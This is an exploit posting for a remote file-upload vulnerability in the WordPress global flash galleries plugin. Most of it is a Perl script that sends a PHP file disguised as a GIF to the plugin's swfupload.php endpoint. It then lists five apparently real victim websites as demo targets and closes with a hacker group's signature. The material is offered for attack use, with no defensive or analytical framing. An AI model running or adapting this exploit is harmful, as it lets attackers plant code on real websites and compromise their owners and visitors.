WordPress global flash galleries插件远程文件上传漏洞

                                                # Exploit :
= = = = = = = = =
[Perl]
	#! /usr/bin/perl
	use LWP;
	use HTTP::Request::Common;
	
	my ($url, $file) = @ARGV;
	
	my $ua = LWP::UserAgent->new();
	my $req = POST $url,
		Content_Type => 'form-data',
		Content =>    [
	name => $name,
	galleryselect => 1, # Gallery ID (popup.php)
	Filedata => [ "$file", "file.php.gif",  Content_Type =>
	'image/gif' ]
						];
	my $res = $ua->request( $req );
	if( $res->is_success ) {
		print $res->content;
	} else {
		print $res->status_line, "\n";
	}
[Perl]

# Exploit demo :
= = = = = = = = =
http://radiostXan.fm/wp-content/plugins/global-flash-galleries/swfupload.php
http://izhairstudioX.ca/wp-content/plugins/global-flash-galleries/swfupload.php
http://awb.usahiXdsolo.ac.id/wp-content/plugins/global-flash-galleries/swfupload.php
http://minigolfcXourseulles.fr/wp-content/plugins/global-flash-galleries//swfupload.php
http://madiro-Xhotel.com/wp-content/plugins/global-flash-galleries/swfupload.php

# #### #### #### #### #### #### #### #### #
# BY T3rm!nat0r5
# Special Tnx to V1R4N64R ,C4T,HAMIDx9
# E-mail : [email protected]
# #### #### #### #### #### #### #### #### #